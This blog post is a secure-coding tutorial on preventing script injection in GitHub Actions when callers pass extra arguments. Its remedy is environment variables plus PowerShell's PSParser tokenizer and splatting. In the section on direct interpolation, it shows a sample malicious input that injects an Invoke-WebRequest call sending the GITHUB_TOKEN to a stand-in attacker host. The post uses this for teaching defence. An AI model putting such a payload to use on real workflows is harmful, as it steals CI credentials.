Safely passing extra arguments in GitHub Actions workflows using PowerShell

 
 
  • Gérald Barré

When creating reusable GitHub Actions workflows or composite actions, you often need to allow callers to provide extra arguments to a command. For example, a workflow that builds a .NET project might accept additional arguments for dotnet build. Handling these arguments safely requires careful attention to prevent script injection and ensure proper argument splitting.

#The problem with direct interpolation

A common but unsafe pattern is to directly interpolate the input into the run step:

YAML
on:
  workflow_call:
    inputs:
      extra-args:
        type: string
        required: false

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Build
        shell: pwsh
        run: dotnet build --configuration Release ${{ inputs.extra-args }}

This is vulnerable to script injection. GitHub Actions expressions (${{ }}) are substituted before the shell interprets the script. A malicious caller could provide:

"; Invoke-WebRequest "https://evil.example.com/steal?token=$env:GITHUB_TOKEN" #

The resulting script becomes:

PowerShell
dotnet build --configuration Release ""; Invoke-WebRequest "https://evil.example.com/steal?token=$env:GITHUB_TOKEN" #

This leaks sensitive data.

On a lower severity level, even non-malicious inputs with special characters (like &, |, ;) can break the script and cause unintended consequences.

#Using environment variables to prevent injection

The recommended mitigation is to pass inputs through environment variables instead of direct interpolation:

YAML
- name: Build
  shell: pwsh
  env:
    EXTRA_ARGS: ${{ inputs.extra-args }}
  run: dotnet build --configuration Release $env:EXTRA_ARGS

Environment variables are set by the runner before the shell starts, so their values cannot alter the script structure. This eliminates the injection vulnerability.

However, this introduces a new problem: argument splitting.

#The argument splitting problem

In PowerShell, $env:EXTRA_ARGS is treated as a single string argument:

YAML
- name: Build
  shell: pwsh
  env:
    EXTRA_ARGS: ${{ inputs.extra-args }}
  run: dotnet build --configuration Release $env:EXTRA_ARGS

If the caller passes --no-restore --verbosity detailed, the entire string is passed as one argument to dotnet build, which is not the intended behavior.

#Using PowerShell's PSParser to tokenize arguments

PowerShell provides [System.Management.Automation.PSParser]::Tokenize() to parse a string into tokens using the same rules the PowerShell engine uses. This correctly handles quoted strings, special characters, and newlines.

Here's the complete solution:

YAML
on:
  workflow_call:
    inputs:
      extra-args:
        type: string
        required: false

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Build
        shell: pwsh
        env:
          EXTRA_ARGS: ${{ inputs.extra-args }}
        run: |
          # Parse the extra arguments using PowerShell's tokenizer
          $errors = $null
          $tokens = [System.Management.Automation.PSParser]::Tokenize($env:EXTRA_ARGS, [ref]$errors)
          if ($errors.Count -gt 0) {
              Write-Error "Failed to parse extra arguments: $($errors | Out-String)"
              exit 1
          }

          # Extract token values, skipping newlines
          $parsedArgs = @()
          foreach ($token in $tokens) {
              if ($token.Type -ne [System.Management.Automation.PSTokenType]::NewLine) {
                  $parsedArgs += $token.Content
              }
          }

          # Call the command with the parsed arguments using splatting
          dotnet build --configuration Release @parsedArgs

#How it works

PSParser::Tokenize parses the input string the same way PowerShell's engine would. This means:

  • --no-restore --verbosity detailed produces three tokens: --no-restore, --verbosity, detailed
  • --filter "Category=Unit Tests" produces two tokens: --filter, Category=Unit Tests (quotes are handled correctly)
  • Arguments spanning multiple lines are handled correctly since newline tokens are filtered out

The @parsedArgs syntax (splatting) passes each element of the array as a separate argument to the command, preserving the correct argument boundaries.

#Making it reusable

You can extract the parsing logic into a reusable function:

PowerShell
function Split-Arguments {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $false)]
        [string]$ArgumentString
    )

    if ([string]::IsNullOrWhiteSpace($ArgumentString)) {
        return @()
    }

    $errors = $null
    $tokens = [System.Management.Automation.PSParser]::Tokenize($ArgumentString, [ref]$errors)
    if ($errors.Count -gt 0) {
        throw "Failed to parse arguments: $($errors | Out-String)"
    }

    $result = @()
    foreach ($token in $tokens) {
        if ($token.Type -ne [System.Management.Automation.PSTokenType]::NewLine) {
            $result += $token.Content
        }
    }

    return $result
}

# Usage
$extraArgs = Split-Arguments $env:EXTRA_ARGS
dotnet build --configuration Release @extraArgs

#Additional resources

Do you have a question or a suggestion about this post? Contact me!

Follow me:
Enjoy this blog?